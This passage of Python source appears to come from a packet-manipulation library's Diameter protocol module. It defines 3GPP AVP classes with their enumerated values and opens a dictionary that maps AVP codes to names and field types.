(AVP_FL_V):\n    name = 'GMLC-Restriction'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"GMLC_LIST\", 1: \"HOME_COUNTRY\", })]  # noqa: E501\n\n\nclass AVP_10415_1482 (AVP_FL_V):\n    name = 'PLMN-Client'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"BROADCAST_SERVICE\",\n                               1: \"O_AND_M_HPLMN\",\n                               2: \"O_AND_M_VPLMN\",\n                               3: \"ANONYMOUS_LOCATION\",\n                               4: \"TARGET_UE_SUBSCRIBED_SERVICE\",\n                               })]\n\n\nclass AVP_10415_1491 (AVP_FL_V):\n    name = 'ICS-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"FALSE\", 1: \"TRUE\", })]\n\n\nclass AVP_10415_1492 (AVP_FL_V):\n    name = 'IMS-Voice-Over-PS-Sessions-Supported'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOT_SUPPORTED\", 1: \"SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1493 (AVP_FL_V):\n    name = 'Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOT_SUPPORTED\", 1: \"SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1499 (AVP_FL_V):\n    name = 'User-State'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"DETACHED\",\n                               1: \"ATTACHED_NOT_REACHABLE_FOR_PAGING\",\n                               2: \"ATTACHED_REACHABLE_FOR_PAGING\",\n                               3: \"CONNECTED_NOT_REACHABLE_FOR_PAGING\",\n                               4: \"CONNECTED_REACHABLE_FOR_PAGING\",\n                               5: \"NETWORK_DETERMINED_NOT_REACHABLE\",\n                               })]\n\n\nclass AVP_10415_1501 (AVP_FL_V):\n    name = 'Non-3GPP-IP-Access'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"NON_3GPP_SUBSCRIPTION_ALLOWED\", 1: \"NON_3GPP_SUBSCRIPTION_BARRED\", })]  # noqa: E501\n\n\nclass AVP_10415_1502 (AVP_FL_V):\n    name = 'Non-3GPP-IP-Access-APN'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"NON_3GPP_APNS_ENABLE\", 1: \"NON_3GPP_APNS_DISABLE\", })]  # noqa: E501\n\n\nclass AVP_10415_1503 (AVP_FL_V):\n    name = 'AN-Trusted'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"TRUSTED\", 1: \"UNTRUSTED\", })]\n\n\nclass AVP_10415_1515 (AVP_FL_V):\n    name = 'Trust-Relationship-Update'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"TBC\", })]\n\n\nclass AVP_10415_1519 (AVP_FL_V):\n    name = 'Transport-Access-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"BBF\", })]\n\n\nclass AVP_10415_1610 (AVP_FL_V):\n    name = 'Current-Location-Retrieved'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ACTIVE-LOCATION-RETRIEVAL\", })]\n\n\nclass AVP_10415_1613 (AVP_FL_V):\n    name = 'SIPTO-Permission'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"SIPTO_ALLOWED\", 1: \"SIPTO_NOTALLOWED\", })]  # noqa: E501\n\n\nclass AVP_10415_1614 (AVP_FL_V):\n    name = 'Error-Diagnostic'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"GPRS_DATA_SUBSCRIBED\",\n                1: \"NO_GPRS_DATA_SUBSCRIBED\",\n                2: \"ODB-ALL-APN\",\n                3: \"ODB-HPLMN-APN\",\n                4: \"ODB-VPLMN-APN\",\n            })]\n\n\nclass AVP_10415_1615 (AVP_FL_V):\n    name = 'UE-SRVCC-Capability'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"UE-SRVCC-NOT-SUPPORTED\", 1: \"UE-SRVCC-SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1617 (AVP_FL_V):\n    name = 'VPLMN-LIPA-Allowed'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"LIPA-NOTALLOWED\", 1: \"LIPA-ALLOWED\", })]  # noqa: E501\n\n\nclass AVP_10415_1618 (AVP_FL_V):\n    name = 'LIPA-Permission'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"LIPA-PROHIBITED\", 1: \"LIPA-ONLY\", 2: \"LIPA-CONDITIONAL\", })]  # noqa: E501\n\n\nclass AVP_10415_1623 (AVP_FL_V):\n    name = 'Job-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"Immediate-MDT-only\",\n                               1: \"Logged-MDT-only\",\n                               2: \"Trace-only\",\n                               3: \"Immediate-MDT-and-Trace\",\n                               4: \"RLF-reports-only\",\n                               })]\n\n\nclass AVP_10415_1627 (AVP_FL_V):\n    name = 'Report-Interval'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"UMTS_250_ms\",\n                1: \"UMTS_500_ms\",\n                2: \"UMTS_1000_ms\",\n                3: \"UMTS_2000_ms\",\n                4: \"UMTS_3000_ms\",\n                5: \"UMTS_4000_ms\",\n                6: \"UMTS_6000_ms\",\n                7: \"UMTS_8000_ms\",\n                8: \"UMTS_12000_ms\",\n                9: \"UMTS_16000_ms\",\n                10: \"UMTS_20000_ms\",\n                11: \"UMTS_24000_ms\",\n                12: \"UMTS_28000_ms\",\n                13: \"UMTS_32000_ms\",\n                14: \"UMTS_64000_ms\",\n                15: \"LTE_120_ms\",\n                16: \"LTE_240_ms\",\n                17: \"LTE_480_ms\",\n                18: \"LTE_640_ms\",\n                19: \"LTE_1024_ms\",\n                20: \"LTE_2048_ms\",\n                21: \"LTE_5120_ms\",\n                22: \"LTE_10240_ms\",\n                23: \"LTE_60000_ms\",\n                24: \"LTE_360000_ms\",\n                25: \"LTE_720000_ms\",\n                26: \"LTE_1800000_ms\",\n                27: \"LTE_3600000_ms\",\n            })]\n\n\nclass AVP_10415_1628 (AVP_FL_V):\n    name = 'Report-Amount'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"1\", 1: \"2\", 2: \"4\", 3: \"8\", 4: \"16\", 5: \"32\", 6: \"64\", 7: \"infinity\", })]  # noqa: E501\n\n\nclass AVP_10415_1631 (AVP_FL_V):\n    name = 'Logging-Interval'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"1.28\",\n                1: \"2.56\",\n                2: \"5.12\",\n                3: \"10.24\",\n                4: \"20.48\",\n                5: \"30.72\",\n                6: \"40.96\",\n                7: \"61.44\",\n            })]\n\n\nclass AVP_10415_1632 (AVP_FL_V):\n    name = 'Logging-Duration'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"600_sec\", 1: \"1200_sec\", 2: \"2400_sec\", 3: \"3600_sec\", 4: \"5400_sec\", 5: \"7200_sec\", })]  # noqa: E501\n\n\nclass AVP_10415_1633 (AVP_FL_V):\n    name = 'Relay-Node-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOT_RELAY_NODE\", 1: \"RELAY_NODE\", })]  # noqa: E501\n\n\nclass AVP_10415_1634 (AVP_FL_V):\n    name = 'MDT-User-Consent'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"CONSENT_NOT_GIVEN\", 1: \"CONSENT_GIVEN\", })]  # noqa: E501\n\n\nclass AVP_10415_1636 (AVP_FL_V):\n    name = 'Subscribed-VSRVCC'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"VSRVCC_SUBSCRIBED\", })]\n\n\nclass AVP_10415_1648 (AVP_FL_V):\n    name = 'SMS-Register-Request'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"SMS_REGISTRATION_REQUIRED\", 1: \"SMS_REGISTRATION_NOT_PREFERRED\", 2: \"NO_PREFERENCE\", })]  # noqa: E501\n\n\nclass AVP_10415_1650 (AVP_FL_V):\n    name = 'Daylight-Saving-Time'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"NO_ADJUSTMENT\", 1: \"PLUS_ONE_HOUR_ADJUSTMENT\", 2: \"PLUS_TWO_HOURS_ADJUSTMENT\", })]  # noqa: E501\n\n\nclass AVP_10415_2006 (AVP_FL_V):\n    name = 'Interface-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"Unknown\",\n                1: \"MOBILE_ORIGINATING\",\n                2: \"MOBILE_TERMINATING\",\n                3: \"APPLICATION_ORIGINATING\",\n                4: \"APPLICATION_TERMINATION\",\n            })]\n\n\nclass AVP_10415_2007 (AVP_FL_V):\n    name = 'SM-Message-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"SUBMISSION\", })]\n\n\nclass AVP_10415_2011 (AVP_FL_V):\n    name = 'Reply-Path-Requested'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"No Reply Path Set\", 1: \"Reply path Set\", })]  # noqa: E501\n\n\nclass AVP_10415_2016 (AVP_FL_V):\n    name = 'SMS-Node'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"SMS Router\", 1: \"IP-SM-GW\", 2: \"SMS Router and IP-SM-GW\", 3: \"SMS-SC\", })]  # noqa: E501\n\n\nclass AVP_10415_2025 (AVP_FL_V):\n    name = 'PoC-Event-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"Normal;\",\n                1: \"Instant Ppersonal Aalert event;\",\n                2: \"PoC Group Advertisement event;\",\n                3: \"Early Ssession Setting-up event;\",\n                4: \"PoC Talk Burst\",\n            })]\n\n\nclass AVP_10415_2029 (AVP_FL_V):\n    name = 'SM-Service-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"VAS4SMS Short Message content processing\",\n                1: \"VAS4SMS Short Message forwarding\",\n                2: \"VAS4SMS Short Message Forwarding multiple subscriptions \",\n                3: \"VAS4SMS Short Message filtering \",\n                4: \"VAS4SMS Short Message receipt\",\n                5: \"VAS4SMS Short Message Network Storage \",\n                6: \"VAS4SMS Short Message to multiple destinations\",\n                7: \"VAS4SMS Short Message Virtual Private Network (VPN)\",\n                8: \"VAS4SMS Short Message Auto Reply\",\n                9: \"VAS4SMS Short Message Personal Signature\",\n                10: \"VAS4SMS Short Message Deferred Delivery \",\n            })]\n\n\nclass AVP_10415_2033 (AVP_FL_V):\n    name = 'Subscriber-Role'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Originating\", 1: \"Terminating\", })]  # noqa: E501\n\n\nclass AVP_10415_2036 (AVP_FL_V):\n    name = 'SDP-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"SDP Offer\", 1: \"SDP Answer\", })]\n\n\nclass AVP_10415_2047 (AVP_FL_V):\n    name = 'Serving-Node-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"SGSN\", 1: \"PMIPSGW\", 2: \"GTPSGW\", 3: \"ePDG\", 4: \"hSGW\", 5: \"MME\", 6: \"TWAN\", })]  # noqa: E501\n\n\nclass AVP_10415_2049 (AVP_FL_V):\n    name = 'Participant-Action-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"CREATE_CONF\", 1: \"JOIN_CONF\", 2: \"INVITE_INTO_CONF\", 3: \"QUIT_CONF\", })]  # noqa: E501\n\n\nclass AVP_10415_2051 (AVP_FL_V):\n    name = 'Dynamic-Address-Flag'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Static\", 1: \"Dynamic\", })]\n\n\nclass AVP_10415_2065 (AVP_FL_V):\n    name = 'SGW-Change'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ACR_Start_NOT_due_to_SGW_Change\", })]  # noqa: E501\n\n\nclass AVP_10415_2066 (AVP_FL_V):\n    name = 'Charging-Characteristics-Selection-Mode'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"Serving-Node-Supplied\",\n                1: \"Subscription-specific\",\n                2: \"APN-specific\",\n                3: \"Home-Default\",\n                4: \"Roaming-Default\",\n                5: \"Visiting-Default\",\n            })]\n\n\nclass AVP_10415_2068 (AVP_FL_V):\n    name = 'Dynamic-Address-Flag-Extension'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Static\", 1: \"Dynamic\", })]\n\n\nclass AVP_10415_2118 (AVP_FL_V):\n    name = 'Charge-Reason-Code'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"UNKNOWN\",\n                1: \"USAGE\",\n                2: \"COMMUNICATION-ATTEMPT-CHARGE\",\n                3: \"SETUP-CHARGE\",\n                4: \"ADD-ON-CHARGE\",\n            })]\n\n\nclass AVP_10415_2203 (AVP_FL_V):\n    name = 'Subsession-Operation'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"TERMINATION\", 1: \"ESTABLISHMENT\", 2: \"MODIFICATION\", })]  # noqa: E501\n\n\nclass AVP_10415_2204 (AVP_FL_V):\n    name = 'Multiple-BBERF-Action'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ESTABLISHMENT\", 1: \"TERMINATION\", })]  # noqa: E501\n\n\nclass AVP_10415_2206 (AVP_FL_V):\n    name = 'DRA-Deployment'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"DRA_Deployed\", })]\n\n\nclass AVP_10415_2208 (AVP_FL_V):\n    name = 'DRA-Binding'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"DRA_BINDING_DELETION\", })]\n\n\nclass AVP_10415_2303 (AVP_FL_V):\n    name = 'Online-Charging-Flag'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"ECF address not provided\", 1: \"ECF address provided\", })]  # noqa: E501\n\n\nclass AVP_10415_2308 (AVP_FL_V):\n    name = 'IMSI-Unauthenticated-Flag'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Authenticated\", 1: \"Unauthenticated\", })]  # noqa: E501\n\n\nclass AVP_10415_2310 (AVP_FL_V):\n    name = 'AoC-Format'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"MONETARY\", 1: \"NON_MONETARY\", 2: \"CAI\", })]  # noqa: E501\n\n\nclass AVP_10415_2312 (AVP_FL_V):\n    name = 'AoC-Service-Obligatory-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NON_BINDING\", 1: \"BINDING\", })]\n\n\nclass AVP_10415_2313 (AVP_FL_V):\n    name = 'AoC-Service-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"NONE\", 1: \"AOC-S\", 2: \"AOC-D\", 3: \"AOC-E\", })]  # noqa: E501\n\n\nclass AVP_10415_2317 (AVP_FL_V):\n    name = 'CSG-Access-Mode'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Closed mode\", 1: \"Hybrid Mode\", })]  # noqa: E501\n\n\nclass AVP_10415_2318 (AVP_FL_V):\n    name = 'CSG-Membership-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Not CSG member\", 1: \"CSG Member  \", })]  # noqa: E501\n\n\nclass AVP_10415_2322 (AVP_FL_V):\n    name = 'IMS-Emergency-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Non Emergency\", 1: \"Emergency\", })]  # noqa: E501\n\n\nclass AVP_10415_2323 (AVP_FL_V):\n    name = 'MBMS-Charged-Party'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Content Provider\", 1: \"Subscriber\", })]  # noqa: E501\n\n\nclass AVP_10415_2500 (AVP_FL_V):\n    name = 'SLg-Location-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"CURRENT_LOCATION\",\n                1: \"CURRENT_OR_LAST_KNOWN_LOCATION\",\n                2: \"INITIAL_LOCATION\",\n                3: \"ACTIVATE_DEFERRED_LOCATION\",\n                4: \"CANCEL_DEFERRED_LOCATION\",\n                5: \"NOTIFICATION_VERIFICATION_ONLY\",\n            })]\n\n\nclass AVP_10415_2507 (AVP_FL_V):\n    name = 'Vertical-Requested'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"VERTICAL_COORDINATE_IS_NOT REQUESTED\", 1: \"VERTICAL_COORDINATE_IS_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_2508 (AVP_FL_V):\n    name = 'Velocity-Requested'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"VELOCITY_IS_NOT_REQUESTED\", 1: \"BEST VELOCITY_IS_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_2509 (AVP_FL_V):\n    name = 'Response-Time'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"LOW_DELAY\", 1: \"DELAY_TOLERANT\", })]  # noqa: E501\n\n\nclass AVP_10415_2512 (AVP_FL_V):\n    name = 'LCS-Privacy-Check'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"ALLOWED_WITHOUT_NOTIFICATION\",\n                1: \"ALLOWED_WITH_NOTIFICATION\",\n                2: \"ALLOWED_IF_NO_RESPONSE\",\n                3: \"RESTRICTED_IF_NO_RESPONSE\",\n                4: \"NOT_ALLOWED\",\n            })]\n\n\nclass AVP_10415_2513 (AVP_FL_V):\n    name = 'Accuracy-Fulfilment-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"REQUESTED_ACCURACY_FULFILLED\", 1: \"REQUESTED_ACCURACY_NOT_FULFILLED\", })]  # noqa: E501\n\n\nclass AVP_10415_2518 (AVP_FL_V):\n    name = 'Location-Event'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"EMERGENCY_CALL_ORIGINATION\",\n                1: \"EMERGENCY_CALL_RELEASE\",\n                2: \"MO_LR\",\n                3: \"EMERGENCY_CALL_HANDOVER\",\n            })]\n\n\nclass AVP_10415_2519 (AVP_FL_V):\n    name = 'Pseudonym-Indicator'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"PSEUDONYM_NOT_REQUESTED\", 1: \"PSEUDONYM_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_2523 (AVP_FL_V):\n    name = 'LCS-QoS-Class'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ASSURED\", 1: \"BEST EFFORT\", })]\n\n\nclass AVP_10415_2538 (AVP_FL_V):\n    name = 'Occurrence-Info'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"ONE_TIME_EVENT\", 1: \"MULTIPLE_TIME_EVENT\", })]  # noqa: E501\n\n\nclass AVP_10415_2550 (AVP_FL_V):\n    name = 'Periodic-Location-Support-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOT_SUPPORTED\", 1: \"SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_2551 (AVP_FL_V):\n    name = 'Prioritized-List-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOT_PRIORITIZED\", 1: \"PRIORITIZED\", })]  # noqa: E501\n\n\nclass AVP_10415_2602 (AVP_FL_V):\n    name = 'Low-Priority-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NO\", })]\n\n\nclass AVP_10415_2604 (AVP_FL_V):\n    name = 'Local-GW-Inserted-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Local GW Not Inserted\", 1: \"Local GW Inserted\", })]\n\n\nclass AVP_10415_2605 (AVP_FL_V):\n    name = 'Transcoder-Inserted-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Transcoder Not Inserted\", 1: \"Transcoder Inserted\", })]\n\n\nclass AVP_10415_2702 (AVP_FL_V):\n    name = 'AS-Code'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"4xx;\", 1: \"5xx;\", 2: \"Timeout\", })]\n\n\nclass AVP_10415_2704 (AVP_FL_V):\n    name = 'NNI-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"non-roaming\", 1: \"roaming without loopback\", 2: \"roaming with loopback\", })]  # noqa: E501\n\n\nclass AVP_10415_2706 (AVP_FL_V):\n    name = 'Relationship-Mode'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"trusted\", 1: \"non-trusted\", })]\n\n\nclass AVP_10415_2707 (AVP_FL_V):\n    name = 'Session-Direction'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"inbound\", })]\n\n\nclass AVP_10415_2710 (AVP_FL_V):\n    name = 'Access-Transfer-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"PS to CS Transfer\", 1: \"CS to PS Transfer\", })]  # noqa: E501\n\n\nclass AVP_10415_2717 (AVP_FL_V):\n    name = 'TAD-Identifier'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"CS\", 1: \"PS\", })]\n\n\nclass AVP_10415_2809 (AVP_FL_V):\n    name = 'Mute-Notification'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"MUTE_REQUIRED\", })]\n\n\nclass AVP_10415_2811 (AVP_FL_V):\n    name = 'AN-GW-Status'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"AN_GW_FAILED\", })]\n\n\nclass AVP_10415_2904 (AVP_FL_V):\n    name = 'SL-Request-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"INITIAL_REQUEST\", 1: \"INTERMEDIATE_REQUEST\", })]  # noqa: E501\n\n\nclass AVP_10415_3407 (AVP_FL_V):\n    name = 'SM-Device-Trigger-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Not DeviceTrigger \", 1: \"Device Trigger\", })]  # noqa: E501\n\n\nclass AVP_10415_3415 (AVP_FL_V):\n    name = 'Forwarding-Pending'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Forwarding not pending\", 1: \"Forwarding pending\", })]  # noqa: E501\n\n\nclass AVP_10415_3421 (AVP_FL_V):\n    name = 'CN-Operator-Selection-Entity'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"The Serving Network has been selected by the UE\",\n                1: \"The Serving Network has been selected by the network\",\n            })]\n\n\nclass AVP_10415_3428 (AVP_FL_V):\n    name = 'Coverage-Status'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Out of coverage\", 1: \"In coverage\", })]  # noqa: E501\n\n\nclass AVP_10415_3438 (AVP_FL_V):\n    name = 'Role-Of-ProSe-Function'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"HPLMN\", 1: \"VPLMN\", })]\n\n\nclass AVP_10415_3442 (AVP_FL_V):\n    name = 'ProSe-Direct-Discovery-Model'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Model A\", 1: \"Model B\", })]\n\n\nclass AVP_10415_3443 (AVP_FL_V):\n    name = 'ProSe-Event-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Announcing\", 1: \"Monitoring\", 2: \"Match Report\", })]  # noqa: E501\n\n\nclass AVP_10415_3445 (AVP_FL_V):\n    name = 'ProSe-Functionality'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Direct discovery\", 1: \"EPC-level discovery\", })]  # noqa: E501\n\n\nclass AVP_10415_3448 (AVP_FL_V):\n    name = 'ProSe-Range-Class'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Reserved\", 1: \"50 m\", 2: \"100 m\", 3: \"200 m\", 4: \"500 m\", 5: \"1000 m\", })]  # noqa: E501\n\n\nclass AVP_10415_3449 (AVP_FL_V):\n    name = 'ProSe-Reason-For-Cancellation'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Proximity Alert sent\", 1: \"Time expired with no renewal\", })]\n\n\nclass AVP_10415_3451 (AVP_FL_V):\n    name = 'ProSe-Role-Of-UE'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Announcing UE\", 1: \"Monitoring UE\", 2: \"Requestor UE\", })]  # noqa: E501\n\n\nclass AVP_10415_3454 (AVP_FL_V):\n    name = 'Proximity-Alert-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Alert\", 1: \"No Alert\", })]\n\n\n# Remaining AVPs (which do not need to be declared as classes)\n##############################################################\n\n# In AvpDefDict dictionary, the first level key is the 'AVP vendor' and the second level key is the 'AVP code'  # noqa: E501\n# Each tuple then defines the AVP name, the Scapy class and the default flags\nAvpDefDict = {\n    0: {\n        1: ('User-Name', AVPNV_StrLenField, 64),\n        2: ('User-Password', AVPNV_OctetString, 64),\n        5: ('NAS-Port', AVPNV_Unsigned32, 64),\n        6: ('Service-Type', AVP_0_6, 64),\n        7: ('Framed-Protocol', AVP_0_7, 64),\n        9: ('Framed-IP-Netmask', AVPNV_OctetString, 64),\n        10: ('Framed-Routing', AVP_0_10, 64),\n        11: ('Filter-Id', AVPNV_StrLenField, 64),\n        12: ('Framed-MTU', AVPNV_Unsigned32, 64),\n        13: ('Framed-Compression', AVP_0_13, 64),\n        15: ('Login-Service', AVP_0_15, 64),\n        16: ('Login-TCP-Port', AVPNV_Unsigned32, 64),\n        18: ('Reply-Message', AVPNV_StrLenField, 64),\n        19: ('Callback-Number', AVPNV_StrLenField, 64),\n        20: ('Callback-Id', AVPNV_StrLenField, 64),\n        22: ('Framed-Route', AVPNV_StrLenField, 64),\n        23: ('Framed-IPX-Network', AVPNV_Unsigned32, 64),\n        25: ('Class', AVPNV_OctetString, 64),\n        27: ('Session-Timeout', AVPNV_Unsigned32, 64),\n        28: ('Idle-Timeout', AVPNV_Unsigned32, 64),\n        30: ('Called-Station-Id', AVPNV_StrLenField, 64),\n        31: ('Calling-Station-Id', AVPNV_StrLenField, 64),\n        33: ('Proxy-State', AVPNV_OctetString, 64),\n        34: ('Login-LAT-Service', AVPNV_OctetString, 64),\n        35: ('Login-LAT-Node', AVPNV_OctetString, 64),\n        36: ('Login-LAT-Group', AVPNV_OctetString, 64),\n        37: ('Framed-Appletalk-Link', AVPNV_Unsigned32, 64),\n        38: ('Framed-Appletalk-Network', AVPNV_Unsigned32, 64),\n        39: ('Framed-Appletalk-Zone', AVPNV_OctetString, 64),\n        41: ('Acct-Delay-Time', AVPNV_Unsigned32, 64),\n        44: ('Acct-Session-Id', AVPNV_OctetString, 64),\n        45: ('Acct-Authentic', AVP_0_45, 64),\n        46: ('Acct-Session-Time', AVPNV_Unsigned32, 64),\n        50: ('Acct-Multi-Session-Id', AVPNV_StrLenField, 64),\n        51: ('Acct-Link-Count', AVPNV_Unsigned32, 64),\n        55: ('Event-Timestamp', AVPNV_Time, 64),\n        60: ('CHAP-Challenge', AVPNV_OctetString, 64),\n        61: ('NAS-Port-Type', AVP_0_61, 64),\n        62: ('Port-Limit', 